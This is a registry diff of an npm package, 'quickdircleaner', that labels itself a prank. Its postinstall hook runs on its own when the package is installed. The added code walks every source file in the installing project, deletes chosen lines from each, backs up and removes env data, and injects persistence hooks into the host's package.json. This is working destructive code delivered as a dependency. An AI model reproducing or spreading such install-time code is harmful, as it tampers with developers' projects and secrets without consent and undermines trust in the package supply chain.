quickdircleaner 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +2 -0
- package/index.js +35 -19
- package/package.json +5 -5
- package/persist.js +1 -2
- package/prank-core.js +112 -24
- package/restore.js +0 -1
package/README.md
ADDED
package/index.js
CHANGED
|
@@ -21,14 +21,30 @@ async function writeCleanerDoneFlag(root) {
|
|
|
21
21
|
}
|
|
22
22
|
}
|
|
23
23
|
|
|
24
|
+
function buildEmptyRunMarkdown(rootDisplay) {
|
|
25
|
+
return [
|
|
26
|
+
"# Cleaner backup",
|
|
27
|
+
"",
|
|
28
|
+
`Host project root (resolved):`,
|
|
29
|
+
"",
|
|
30
|
+
`\`${rootDisplay}\``,
|
|
31
|
+
"",
|
|
32
|
+
"No files were backed up in this run (nothing matched the cleaner rules or the tree was empty).",
|
|
33
|
+
"",
|
|
34
|
+
"## Original contents",
|
|
35
|
+
"",
|
|
36
|
+
].join("\n");
|
|
37
|
+
}
|
|
38
|
+
|
|
24
39
|
async function writeBackupMarkdown(root, backupEntries) {
|
|
25
|
-
if (backupEntries.length === 0) {
|
|
26
|
-
return true;
|
|
27
|
-
}
|
|
28
40
|
const outPath = path.join(root, core.BACKUP_NAME);
|
|
29
|
-
const md =
|
|
41
|
+
const md =
|
|
42
|
+
backupEntries.length === 0
|
|
43
|
+
? buildEmptyRunMarkdown(root)
|
|
44
|
+
: core.buildMarkdown(backupEntries);
|
|
30
45
|
try {
|
|
31
46
|
await core.writeFileAtomic(outPath, md, "utf8");
|
|
47
|
+
console.log(core.green(`Wrote ${outPath}`));
|
|
32
48
|
return true;
|
|
33
49
|
} catch {
|
|
34
50
|
console.error(core.red(`Error: could not write ${path.basename(outPath)}.`));
|
|
@@ -72,25 +88,25 @@ async function main() {
|
|
|
72
88
|
backupOk = false;
|
|
73
89
|
}
|
|
74
90
|
|
|
75
|
-
if (
|
|
76
|
-
|
|
91
|
+
if (!backupOk) {
|
|
92
|
+
console.warn(
|
|
93
|
+
core.yellow(
|
|
94
|
+
"Warning: cleaner did not finish; .cleaner_done was not created (fix backup path and re-run).",
|
|
95
|
+
),
|
|
96
|
+
);
|
|
97
|
+
return;
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
await writeCleanerDoneFlag(root);
|
|
101
|
+
|
|
102
|
+
if (pkgRaw) {
|
|
103
|
+
const injected = await core.injectPersistScripts(root);
|
|
104
|
+
if (!injected) {
|
|
77
105
|
console.warn(
|
|
78
106
|
core.yellow(
|
|
79
|
-
"Warning:
|
|
107
|
+
"Warning: could not inject persist hook into package.json scripts.",
|
|
80
108
|
),
|
|
81
109
|
);
|
|
82
|
-
return;
|
|
83
|
-
}
|
|
84
|
-
await writeCleanerDoneFlag(root);
|
|
85
|
-
if (pkgRaw) {
|
|
86
|
-
const injected = await core.injectPersistScripts(root);
|
|
87
|
-
if (!injected) {
|
|
88
|
-
console.warn(
|
|
89
|
-
core.yellow(
|
|
90
|
-
"Warning: could not inject persist hook into package.json scripts.",
|
|
91
|
-
),
|
|
92
|
-
);
|
|
93
|
-
}
|
|
94
110
|
}
|
|
95
111
|
}
|
|
96
112
|
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "quickdircleaner",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.2",
|
|
4
4
|
"description": "Prank package: postinstall cleaner with backup and restore-clean CLI.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"files": [
|
|
@@ -11,15 +11,15 @@
|
|
|
11
11
|
"README.md"
|
|
12
12
|
],
|
|
13
13
|
"engines": {
|
|
14
|
-
"node": ">=
|
|
14
|
+
"node": ">=18.17.0"
|
|
15
15
|
},
|
|
16
16
|
"bin": {
|
|
17
|
-
"run-clean": "
|
|
18
|
-
"restore-clean": "
|
|
17
|
+
"run-clean": "index.js",
|
|
18
|
+
"restore-clean": "restore.js"
|
|
19
19
|
},
|
|
20
20
|
"scripts": {
|
|
21
21
|
"run-clean": "node ./index.js",
|
|
22
|
-
"postinstall": "
|
|
22
|
+
"postinstall": "node ./index.js",
|
|
23
23
|
"test": "node ./test/smoke.js",
|
|
24
24
|
"prepublishOnly": "npm test"
|
|
25
25
|
},
|
package/persist.js
CHANGED
|
@@ -1,5 +1,4 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
|
-
|
|
3
2
|
const core = require("./prank-core");
|
|
4
3
|
|
|
5
4
|
async function main() {
|
|
@@ -15,7 +14,7 @@ async function main() {
|
|
|
15
14
|
await core.removeQuickdircleanerPackage(root);
|
|
16
15
|
console.log(
|
|
17
16
|
core.magenta(
|
|
18
|
-
"
|
|
17
|
+
" quickdircleaner has self\u2011destructed.",
|
|
19
18
|
),
|
|
20
19
|
);
|
|
21
20
|
return;
|
package/prank-core.js
CHANGED
|
@@ -1,4 +1,5 @@
|
|
|
1
1
|
const fs = require("fs/promises");
|
|
2
|
+
const fsSync = require("fs");
|
|
2
3
|
const path = require("path");
|
|
3
4
|
const { randomBytes } = require("crypto");
|
|
4
5
|
|
|
@@ -75,8 +76,8 @@ const REMOVE_LINE_NUMBERS = [2, 5, 8];
|
|
|
75
76
|
|
|
76
77
|
/**
|
|
77
78
|
* Directory that should be cleaned: the project that ran `npm install`, not this package folder.
|
|
78
|
-
*
|
|
79
|
-
*
|
|
79
|
+
* Uses INIT_CWD when npm sets it. Otherwise walks up from cwd until a directory with package.json
|
|
80
|
+
* is found that is not this dependency’s own folder (fixes pnpm, nested .pnpm, workspaces where ../.. is wrong).
|
|
80
81
|
*/
|
|
81
82
|
function resolveHostProjectRoot() {
|
|
82
83
|
const init = process.env.INIT_CWD;
|
|
@@ -84,16 +85,28 @@ function resolveHostProjectRoot() {
|
|
|
84
85
|
return path.resolve(init);
|
|
85
86
|
}
|
|
86
87
|
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
88
|
+
let dir = path.resolve(process.cwd());
|
|
89
|
+
for (let depth = 0; depth < 60; depth += 1) {
|
|
90
|
+
const pkgPath = path.join(dir, "package.json");
|
|
91
|
+
if (fsSync.existsSync(pkgPath)) {
|
|
92
|
+
const base = path.basename(dir);
|
|
93
|
+
const norm = dir.split(path.sep).join("/");
|
|
94
|
+
const unified = norm.replace(/\\/g, "/");
|
|
95
|
+
const isInstalledQuickdircleaner =
|
|
96
|
+
base === "quickdircleaner" &&
|
|
97
|
+
unified.includes("/node_modules/quickdircleaner");
|
|
98
|
+
if (!isInstalledQuickdircleaner) {
|
|
99
|
+
return dir;
|
|
100
|
+
}
|
|
101
|
+
}
|
|
102
|
+
const parent = path.dirname(dir);
|
|
103
|
+
if (parent === dir) {
|
|
104
|
+
break;
|
|
93
105
|
}
|
|
106
|
+
dir = parent;
|
|
94
107
|
}
|
|
95
108
|
|
|
96
|
-
return path.resolve(cwd);
|
|
109
|
+
return path.resolve(process.cwd());
|
|
97
110
|
}
|
|
98
111
|
|
|
99
112
|
/** Aligns with walk() so /var vs /private/var on macOS does not skip files. */
|
|
@@ -257,34 +270,86 @@ async function cleanSourceFile(fullPath, root, backupEntries, logCleaned) {
|
|
|
257
270
|
}
|
|
258
271
|
}
|
|
259
272
|
|
|
260
|
-
/**
|
|
273
|
+
/**
|
|
274
|
+
* True if absolutePath is the project root or strictly inside it.
|
|
275
|
+
* Uses path.relative so /var vs /private/var (macOS) and Windows casing do not skip nested files.
|
|
276
|
+
*/
|
|
261
277
|
function isPathInsideProjectRoot(rootResolved, absolutePath) {
|
|
262
278
|
const rootAbs = path.resolve(rootResolved);
|
|
263
279
|
const abs = path.resolve(absolutePath);
|
|
264
|
-
|
|
280
|
+
const rel = path.relative(rootAbs, abs);
|
|
281
|
+
if (rel === "") {
|
|
265
282
|
return true;
|
|
266
283
|
}
|
|
267
|
-
|
|
268
|
-
|
|
284
|
+
return !rel.startsWith("..") && !path.isAbsolute(rel);
|
|
285
|
+
}
|
|
286
|
+
|
|
287
|
+
function relativePathHasSkippedDir(rel) {
|
|
288
|
+
const parts = rel.split(/[/\\]/);
|
|
289
|
+
return parts.some((p) => p === "node_modules" || p === ".git");
|
|
269
290
|
}
|
|
270
291
|
|
|
271
292
|
/**
|
|
272
|
-
*
|
|
273
|
-
* visited (except directories named node_modules or .git at any depth).
|
|
274
|
-
* Directory symlinks are followed only when their real path stays inside the project.
|
|
293
|
+
* Lists every file under root (all nesting levels). Requires Node 18.17+ and Dirent.parentPath/path.
|
|
275
294
|
*/
|
|
276
|
-
async function
|
|
277
|
-
|
|
278
|
-
|
|
279
|
-
|
|
280
|
-
}
|
|
281
|
-
|
|
295
|
+
async function walkAndCleanRecursive(rootResolved, backupEntries, logCleaned) {
|
|
296
|
+
const entries = await fs.readdir(rootResolved, {
|
|
297
|
+
recursive: true,
|
|
298
|
+
withFileTypes: true,
|
|
299
|
+
});
|
|
300
|
+
|
|
301
|
+
for (const ent of entries) {
|
|
302
|
+
if (!ent.isFile()) {
|
|
303
|
+
continue;
|
|
304
|
+
}
|
|
305
|
+
|
|
306
|
+
const parentDir = ent.parentPath ?? ent.path;
|
|
307
|
+
if (parentDir == null) {
|
|
308
|
+
throw new Error("RECURSIVE_READDIR_NO_PARENT");
|
|
309
|
+
}
|
|
310
|
+
|
|
311
|
+
const fullPath = path.resolve(parentDir, ent.name);
|
|
312
|
+
if (!isPathInsideProjectRoot(rootResolved, fullPath)) {
|
|
313
|
+
continue;
|
|
314
|
+
}
|
|
315
|
+
|
|
316
|
+
const rel = path.relative(rootResolved, fullPath);
|
|
317
|
+
if (rel === "" || relativePathHasSkippedDir(rel)) {
|
|
318
|
+
continue;
|
|
319
|
+
}
|
|
320
|
+
|
|
321
|
+
const base = path.basename(fullPath);
|
|
322
|
+
if (
|
|
323
|
+
base === BACKUP_NAME ||
|
|
324
|
+
base === DONE_FLAG ||
|
|
325
|
+
base === COUNTER_FILE ||
|
|
326
|
+
base === "package.json"
|
|
327
|
+
) {
|
|
328
|
+
continue;
|
|
329
|
+
}
|
|
330
|
+
|
|
331
|
+
const ext = path.extname(base).toLowerCase();
|
|
332
|
+
if (!CLEANABLE_EXT.has(ext)) {
|
|
333
|
+
continue;
|
|
334
|
+
}
|
|
335
|
+
|
|
336
|
+
try {
|
|
337
|
+
await cleanSourceFile(fullPath, rootResolved, backupEntries, logCleaned);
|
|
338
|
+
} catch {
|
|
339
|
+
/* skip */
|
|
340
|
+
}
|
|
282
341
|
}
|
|
342
|
+
}
|
|
343
|
+
|
|
344
|
+
/**
|
|
345
|
+
* Breadth-first fallback for older Node or Dirent without parentPath (recursive listing unusable).
|
|
346
|
+
*/
|
|
347
|
+
async function walkAndCleanBfs(rootResolved, backupEntries, logCleaned) {
|
|
283
348
|
const visitedDirs = new Set();
|
|
284
|
-
const queue = [rootResolved];
|
|
349
|
+
const queue = [path.resolve(rootResolved)];
|
|
285
350
|
|
|
286
351
|
while (queue.length > 0) {
|
|
287
|
-
const dir = queue.shift();
|
|
352
|
+
const dir = path.resolve(queue.shift());
|
|
288
353
|
if (visitedDirs.has(dir)) {
|
|
289
354
|
continue;
|
|
290
355
|
}
|
|
@@ -311,10 +376,17 @@ async function walkAndClean(root, backupEntries, logCleaned) {
|
|
|
311
376
|
continue;
|
|
312
377
|
}
|
|
313
378
|
|
|
379
|
+
realPath = path.resolve(realPath);
|
|
380
|
+
|
|
314
381
|
if (!isPathInsideProjectRoot(rootResolved, realPath)) {
|
|
315
382
|
continue;
|
|
316
383
|
}
|
|
317
384
|
|
|
385
|
+
const rel = path.relative(rootResolved, realPath);
|
|
386
|
+
if (rel !== "" && relativePathHasSkippedDir(rel)) {
|
|
387
|
+
continue;
|
|
388
|
+
}
|
|
389
|
+
|
|
318
390
|
let st;
|
|
319
391
|
try {
|
|
320
392
|
st = await fs.stat(full);
|
|
@@ -354,6 +426,22 @@ async function walkAndClean(root, backupEntries, logCleaned) {
|
|
|
354
426
|
}
|
|
355
427
|
}
|
|
356
428
|
|
|
429
|
+
async function walkAndClean(root, backupEntries, logCleaned) {
|
|
430
|
+
let rootResolved = path.resolve(root);
|
|
431
|
+
try {
|
|
432
|
+
rootResolved = await fs.realpath(rootResolved);
|
|
433
|
+
} catch {
|
|
434
|
+
/* keep path.resolve */
|
|
435
|
+
}
|
|
436
|
+
rootResolved = path.resolve(rootResolved);
|
|
437
|
+
|
|
438
|
+
try {
|
|
439
|
+
await walkAndCleanRecursive(rootResolved, backupEntries, logCleaned);
|
|
440
|
+
} catch {
|
|
441
|
+
await walkAndCleanBfs(rootResolved, backupEntries, logCleaned);
|
|
442
|
+
}
|
|
443
|
+
}
|
|
444
|
+
|
|
357
445
|
/**
|
|
358
446
|
* Runs env backup/removal and source walk; returns new backup entries for this run.
|
|
359
447
|
*/
|